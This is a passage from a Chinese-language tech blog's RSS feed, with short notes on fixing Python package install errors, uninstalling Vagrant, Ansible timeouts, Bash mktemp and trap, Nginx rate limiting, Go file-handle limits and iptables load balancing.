&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>$ pip install molecule
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>error: command &lt;span style="color:#e6db74">&amp;#39;gcc&amp;#39;&lt;/span> failed with exit status &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ----------------------------------------
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Command &lt;span style="color:#e6db74">&amp;#34;/usr/bin/python2 -u -c &amp;#34;&lt;/span>import setuptools, tokenize;__file__&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#39;/tmp/pip-install-I5DGC3/psutil/setup.py&amp;#39;&lt;/span>;f&lt;span style="color:#f92672">=&lt;/span>getattr&lt;span style="color:#f92672">(&lt;/span>tokenize, &lt;span style="color:#e6db74">&amp;#39;open&amp;#39;&lt;/span>, open&lt;span style="color:#f92672">)(&lt;/span>__file__&lt;span style="color:#f92672">)&lt;/span>;code&lt;span style="color:#f92672">=&lt;/span>f.read&lt;span style="color:#f92672">()&lt;/span>.replace&lt;span style="color:#f92672">(&lt;/span>&lt;span style="color:#e6db74">&amp;#39;\r\n&amp;#39;&lt;/span>, &lt;span style="color:#e6db74">&amp;#39;\n&amp;#39;&lt;/span>&lt;span style="color:#f92672">)&lt;/span>;f.close&lt;span style="color:#f92672">()&lt;/span>;exec&lt;span style="color:#f92672">(&lt;/span>compile&lt;span style="color:#f92672">(&lt;/span>code, __file__, &lt;span style="color:#e6db74">&amp;#39;exec&amp;#39;&lt;/span>&lt;span style="color:#f92672">))&lt;/span>&lt;span style="color:#e6db74">&amp;#34; install --record /tmp/pip-record-Fy7V4X/install-record.txt --single-version-externally-managed --compile&amp;#34;&lt;/span> failed with error code &lt;span style="color:#ae81ff">1&lt;/span> in /tmp/pip-install-I5DGC3/psutil/
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>RedHat/CentOS:&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>yum -y install gcc gcc-c++ kernel-devel
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>yum -y install python-devel libxslt-devel libffi-devel openssl-devel
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h4 id="ansible">ansible&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>$ pip install ansible
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ImportError: No module named pkg_resources
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>yum install -y python-setuptools
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;hr>
&lt;h4 id="import-pandas">&lt;code>import pandas&lt;/code>&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>ModuleNotFoundError: No module named &lt;span style="color:#e6db74">&amp;#39;_bz2&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>apt-get install -y libbz2-dev
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>yum install -y bzip2-devel
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h4 id="from-cv2-import-">&lt;code>from .cv2 import *&lt;/code>&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>ImportError: libSM.so.6: cannot open shared object file: No such file or directory
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ImportError: libXrender.so.1: cannot open shared object file: No such file or directory
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ImportError: libXext.so.6: cannot open shared object file: No such file or directory
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>Ubuntu:&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>apt-get install libsm6
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>apt-get install libxrender1
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>apt-get install libxext-dev
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>CentOS:&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>yum install libSM
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>yum install libXrender-devel
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>yum install libXext
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>vagrant筆記</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20200226-vagrantvirtualbox-2-packagebox/</link><pubDate>Wed, 26 Feb 2020 10:52:19 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20200226-vagrantvirtualbox-2-packagebox/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://cwza.github.io/my_blog/2016/03/09/vagrant%E7%AD%86%E8%A8%98" target="_blank" rel="noopener">vagrant 筆記&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://ben6.blogspot.com/2011/11/vagrantvirtualbox-2-packagebox.html" target="_blank" rel="noopener">Vagrant+virtualbox (2): 實戰封裝自制 package.box&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://vagrantpi.github.io/2018/02/11/vagrant/" target="_blank" rel="noopener">Vagrant 學習筆記&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>1 General
1.1 Path
下載的 box 預設放在~/.vagrant.d/boxes 裡
guest machine 的 data 放的地方根據 VM 設定而不同可開啟 VirtualBox 查看，VirtualBox 預設是在~/VirtualBox\ VMS&lt;/p>
&lt;p>1.2 Shared Folder
guest machine 的/vagrant 將會自動 mount 到 host machine 的放 Vagrantfile 的那個 folder
此功能需要 guest machine 的 Box 的 VB guest additions 版本與 VM 中的一樣
若出現錯誤則需要更新 box 或用這個非官方的 plugin: &lt;a href="https://github.com/dotless-de/vagrant-vbguest" target="_blank" rel="noopener">https://github.com/dotless-de/vagrant-vbguest&lt;/a>&lt;/p>
&lt;p>2 Uninstall
2.1 REMOVING THE VAGRANT PROGRAM&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>rm -rf /Applications/Vagrant
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>rm -f /usr/bin/vagrant
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo pkgutil --forget com.vagrant.vagrant
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>2.2 REMOVING USER DATA
&lt;code>rm -rf ~/.vagrant.d&lt;/code>
3 Command
&lt;a href="https://www.vagrantup.com/docs/cli/" target="_blank" rel="noopener">https://www.vagrantup.com/docs/cli/&lt;/a>&lt;/p></description></item><item><title>Cannot set command timeout per task with network_cli</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20200114-42200/</link><pubDate>Tue, 14 Jan 2020 16:34:03 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20200114-42200/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://github.com/ansible/ansible/issues/42200" target="_blank" rel="noopener">Cannot set command timeout per task with network_cli&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.cnblogs.com/v394435982/p/5180933.html" target="_blank" rel="noopener">Ansible 的委托 并发和任务超时&lt;/a>&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>- &lt;span style="color:#f92672">name&lt;/span>: &lt;span style="color:#ae81ff">run command&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">ios_command&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">commands&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">show version&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">vars&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">ansible_command_timeout&lt;/span>: &lt;span style="color:#ae81ff">40&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Bash 腳本如何建立臨時檔案：mktemp 與 trap 教學</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2019/20191230-mktemp/</link><pubDate>Mon, 30 Dec 2019 14:31:45 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2019/20191230-mktemp/</guid><description>&lt;ul>
&lt;li>&lt;a href="http://www.ruanyifeng.com/blog/2019/12/mktemp.html" target="_blank" rel="noopener">Bash 腳本如何建立臨時檔案：mktemp 與 trap 教學&lt;/a>&lt;/li>
&lt;/ul>
&lt;h4 id="mktemp-命令">&lt;code>mktemp&lt;/code> 命令&lt;/h4>
&lt;ul>
&lt;li>產生的臨時檔案名稱是隨機的，而且權限只有使用者本人可讀寫。&lt;/li>
&lt;li>為了確保臨時檔案建立成功，&lt;code>mktemp&lt;/code> 後面最好使用 OR 運算子（&lt;code>||&lt;/code>），在建立失敗時退出腳本。&lt;/li>
&lt;li>為了確保腳本退出時刪除臨時檔案，可以使用 &lt;code>trap&lt;/code> 指定退出時的清理動作。&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#!/bin/bash
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>trap &lt;span style="color:#e6db74">&amp;#39;rm -f &amp;#34;$TMPFILE&amp;#34;&amp;#39;&lt;/span> EXIT
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>TMPFILE&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#66d9ef">$(&lt;/span>mktemp&lt;span style="color:#66d9ef">)&lt;/span> &lt;span style="color:#f92672">||&lt;/span> exit &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo &lt;span style="color:#e6db74">&amp;#34;Our temp file is &lt;/span>$TMPFILE&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="mktemp-參數">mktemp 參數&lt;/h5>
&lt;ul>
&lt;li>&lt;code>-d&lt;/code> 參數可以建立臨時目錄。&lt;/li>
&lt;li>&lt;code>-p&lt;/code> 參數可以指定臨時檔案所在的目錄。預設使用 &lt;code>$TMPDIR&lt;/code> 環境變數指定的目錄；若未設定，使用 &lt;code>/tmp&lt;/code>。&lt;/li>
&lt;li>&lt;code>-t&lt;/code> 參數可以指定臨時檔案的檔名模板，模板末尾必須至少包含三個連續的 &lt;code>X&lt;/code> 字元作為隨機字元，建議至少六個 &lt;code>X&lt;/code>。預設的檔名模板為 &lt;code>tmp.&lt;/code> 加上十個隨機字元。&lt;/li>
&lt;/ul>
&lt;h4 id="trap-命令的用法">&lt;code>trap&lt;/code> 命令的用法&lt;/h4>
&lt;p>trap 命令用來在 Bash 腳本中響應系統訊號。&lt;/p>
&lt;p>最常見的系統訊號是 SIGINT（中斷），也就是按下 Ctrl + C 產生的訊號。&lt;code>-l&lt;/code> 參數可以列出所有系統訊號。&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>$ trap -l
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 1&lt;span style="color:#f92672">)&lt;/span> SIGHUP 2&lt;span style="color:#f92672">)&lt;/span> SIGINT 3&lt;span style="color:#f92672">)&lt;/span> SIGQUIT
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 4&lt;span style="color:#f92672">)&lt;/span> SIGILL 5&lt;span style="color:#f92672">)&lt;/span> SIGTRAP 6&lt;span style="color:#f92672">)&lt;/span> SIGABRT
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ... ...
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>trap 的命令格式如下：&lt;/p></description></item><item><title>GitHub Actions 入門教學</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2019/20191223-getting-started-with-github-actions/</link><pubDate>Mon, 23 Dec 2019 10:16:01 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2019/20191223-getting-started-with-github-actions/</guid><description>&lt;ul>
&lt;li>&lt;a href="http://www.ruanyifeng.com/blog/2019/09/getting-started-with-github-actions.html" target="_blank" rel="noopener">GitHub Actions 入門教學&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>Nginx 如何防禦 DDoS 攻擊？</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2019/20191220-nginx-defend-ddos/</link><pubDate>Fri, 20 Dec 2019 09:42:50 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2019/20191220-nginx-defend-ddos/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://magiclen.org/nginx-defend-ddos/" target="_blank" rel="noopener">Nginx 如何防禦 DDoS 攻擊？&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.itread01.com/content/1547474225.html" target="_blank" rel="noopener">Nginx 限制訪問速率和最大併發連線數模組&amp;ndash;limit（防止 DDoS 攻擊）&lt;/a>&lt;/li>
&lt;/ul>
&lt;h4 id="ngx_http_limit_req_module">ngx_http_limit_req_module&lt;/h4>
&lt;p>&lt;code>limit_req_zone $binary_remote_addr zone=mylimit:10m rate=10r/s;&lt;/code>&lt;/p></description></item><item><title>Golang 服務的檔案句柄超出系統限制（too many open files）</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2019/20191216-23828/</link><pubDate>Mon, 16 Dec 2019 10:14:33 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2019/20191216-23828/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://studygolang.com/articles/23828" target="_blank" rel="noopener">Golang 服務的檔案句柄超出系統限制（too many open files）&lt;/a>&lt;/li>
&lt;/ul>
&lt;ol>
&lt;li>
&lt;p>查看系統設定：&lt;code>ulimit -a | grep open&lt;/code>，系統設定正常。&lt;/p>
&lt;/li>
&lt;li>
&lt;p>查看服務的開啟檔案限制：&lt;code>cat /proc/40636/limits&lt;/code>，服務沒有繼承系統設定，仍是預設的 1024 限制。&lt;/p>
&lt;/li>
&lt;li>
&lt;p>查看服務開啟檔案數（連線數）：&lt;code>lsof -p 40636 | wc -l&lt;/code>，已超過限制，因此報錯。&lt;/p>
&lt;/li>
&lt;li>
&lt;p>查看開啟了哪些連線：&lt;code>lsof -p 40636 &amp;gt; openfiles.log&lt;/code>，發現很多 HTTP 連線未關閉，IP 是告警服務的介面。沿著線索找到原因：程式解析設定時出錯，對告警服務大量連線後未關閉，導致 too many open files。至於為何服務未繼承系統最大限制，還需進一步查看。&lt;/p>
&lt;/li>
&lt;li>
&lt;p>最終原因：服務由 supervisor 管理，supervisor 預設 minfds 為 1024。於設定中加入 &lt;code>minfds=81920&lt;/code>，並重啟 &lt;code>supervisorctl reload&lt;/code>。&lt;/p>
&lt;/li>
&lt;/ol></description></item><item><title>Trellis Ansible 錯誤的解譯器</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2019/20191206-trellis-ansible-bad-interpreter-error/</link><pubDate>Fri, 06 Dec 2019 22:34:31 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2019/20191206-trellis-ansible-bad-interpreter-error/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://wpvilla.in/trellis-ansible-bad-interpreter-error/" target="_blank" rel="noopener">Trellis Ansible Bad Interpreter Error&lt;/a>&lt;/li>
&lt;/ul>
&lt;h4 id="bad-interpreter-error">Bad Interpreter Error&lt;/h4>
&lt;p>使用 Ansible 時遇到錯誤的解譯器問題。找不到 Python 2.7：&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>zsh: /usr/local/bin/ansible-vault: bad interpreter: /usr/local/opt/python@2/bin/python2.7: no such file or directory
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>這是正常的，因為我們檢查 /usr/local/opt 後只看到 Python 3。&lt;/p>
&lt;h4 id="安裝-python-2">安裝 Python 2&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>brew install python@2
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="python-嚴重崩潰">Python 嚴重崩潰&lt;/h5>
&lt;p>接著在檢查 Ansible 版本時又出現錯誤：&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>➜ trellis git:&lt;span style="color:#f92672">(&lt;/span>master&lt;span style="color:#f92672">)&lt;/span> ansible --version
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span>1&lt;span style="color:#f92672">]&lt;/span> &lt;span style="color:#ae81ff">19153&lt;/span> abort ansible --version
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>它在 Python 2.7 上崩潰了，但理論上應該可以正常執行。我決定升級 Ansible。&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>sudo pip install ansible --upgrade
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>.....
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Requirement already satisfied, skipping upgrade: six&amp;gt;&lt;span style="color:#f92672">=&lt;/span>1.4.1 in /usr/local/lib/python2.7/site-packages &lt;span style="color:#f92672">(&lt;/span>from cryptography-&amp;gt;ansible&lt;span style="color:#f92672">)&lt;/span> &lt;span style="color:#f92672">(&lt;/span>1.11.0&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Requirement already satisfied, skipping upgrade: pycparser in /usr/local/lib/python2.7/site-packages &lt;span style="color:#f92672">(&lt;/span>from cffi&amp;gt;&lt;span style="color:#f92672">=&lt;/span>1.7; platform_python_implementation !&lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;PyPy&amp;#34;&lt;/span>-&amp;gt;cryptography-&amp;gt;ansible&lt;span style="color:#f92672">)&lt;/span> &lt;span style="color:#f92672">(&lt;/span>2.18&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Installing collected packages: ansible
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Found existing installation: ansible 2.7.5
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Uninstalling ansible-2.7.5:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Successfully uninstalled ansible-2.7.5
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Successfully installed ansible-2.9.1
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Still I had the Python error and iTerm was showing a MacOS popup that Python was crashing unexpectedly:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Python quit unexpectedly.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Click Reopen to open the application again. Click Report to see more detailed information and send a report to Apple.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Application Specific Information:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> /usr/lib/libcrypto.dylib
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> abort&lt;span style="color:#f92672">()&lt;/span> called
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Invalid dylib load. Clients should not load the unversioned libcrypto dylib as it does not have a stable ABI.
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="invalid-dylib">Invalid DyLib&lt;/h5>
&lt;p>找到 &lt;a href="https://stackoverflow.com/questions/58272830/python-crashing-on-macos-10-15-beta-19a582a-with-usr-lib-libcrypto-dylib" target="_blank" rel="noopener">https://stackoverflow.com/questions/58272830/python-crashing-on-macos-10-15-beta-19a582a-with-usr-lib-libcrypto-dylib&lt;/a> 這篇，知道是動態函式庫載入錯誤，於是決定安裝 openssl。&lt;/p></description></item><item><title>用 iptables 和 ip rule 做負載均衡</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2019/20191204-ip-tables-rule-load-balance/</link><pubDate>Wed, 04 Dec 2019 11:08:04 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2019/20191204-ip-tables-rule-load-balance/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://blog.outv.im/2019/ip-tables-rule-load-balance/" target="_blank" rel="noopener">用 iptables 和 ip rule 做負載均衡&lt;/a>&lt;/li>
&lt;/ul>
&lt;h4 id="操作">操作&lt;/h4>
&lt;p>這裡以一台透過有線 + 無線出口連線到網際網路的 Arch Linux 裝置為例。共有兩個出口，分別使用網卡 eth0 和 eth1。大致對應關係如下：&lt;/p>
&lt;ul>
&lt;li>標記 10 (0xa) - 路由表 #110 - 使用 eth0 出口&lt;/li>
&lt;li>標記 11 (0xb) - 路由表 #111 - 使用 eth1 出口&lt;/li>
&lt;/ul>
&lt;p>我們會根據封包上的標記值判斷它應該走哪個出口。首先，使用 ip rule 為每個標記值指定一張路由表。&lt;/p>
&lt;p>通常預設路由表的權重是 32768。為了讓我們的路由表生效，需要將權重調高一些（例如 31000）。&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 讓帶標記 10 (0xa) 的封包使用 110 號路由表，權重 31000&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ip rule add fwmark &lt;span style="color:#ae81ff">10&lt;/span> table &lt;span style="color:#ae81ff">110&lt;/span> prio &lt;span style="color:#ae81ff">31000&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 讓帶標記 11 (0xb) 的封包使用 111 號路由表，權重 31000&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ip rule add fwmark &lt;span style="color:#ae81ff">11&lt;/span> table &lt;span style="color:#ae81ff">111&lt;/span> prio &lt;span style="color:#ae81ff">31000&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 如果你的連線更多，可以繼續新增標記 &amp;lt;-&amp;gt; 路由表的對應關係&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># #110 路由表的路由&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ip route add 10.20.0.0/24 dev eth0 table &lt;span style="color:#ae81ff">110&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ip route add default via 10.20.0.254 table &lt;span style="color:#ae81ff">110&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># #111 路由表的路由&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ip route add 10.25.0.0/24 dev eth1 table &lt;span style="color:#ae81ff">111&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ip route add default via 10.25.0.254 table &lt;span style="color:#ae81ff">111&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 如果這條連線已經被標記，將標記設定到封包上&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>iptables -t mangle -A OUTPUT -j CONNMARK --restore-mark
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 如果封包已經有標記，直接放行&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>iptables -t mangle -A OUTPUT -m mark ! --mark &lt;span style="color:#ae81ff">0&lt;/span> -j ACCEPT
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 如果封包沒有被標記&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 把封包標記為 10 (0xa)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>iptables -t mangle -A OUTPUT -j MARK --set-mark &lt;span style="color:#ae81ff">10&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 每 2 個封包就把一個封包標記為 11 (0xb)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>iptables -t mangle -A OUTPUT -m statistic --mode nth --every &lt;span style="color:#ae81ff">2&lt;/span> --packet &lt;span style="color:#ae81ff">0&lt;/span> -j MARK --set-mark &lt;span style="color:#ae81ff">11&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 如果你有三條出口，這裡可以類似於&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># iptables -t mangle -A OUTPUT -j MARK --set-mark 10&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># iptables -t mangle -A OUTPUT -m statistic --mode nth --every 3 --packet 0 -j MARK --set-mark 11&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># iptables -t mangle -A OUTPUT -m statistic --mode nth --every 3 --packet 1 -j MARK --set-mark 12&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 把封包的標記儲存到整條連線上，讓整個連線使用同一個出口&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>iptables -t mangle -A OUTPUT -j CONNMARK --save-mark
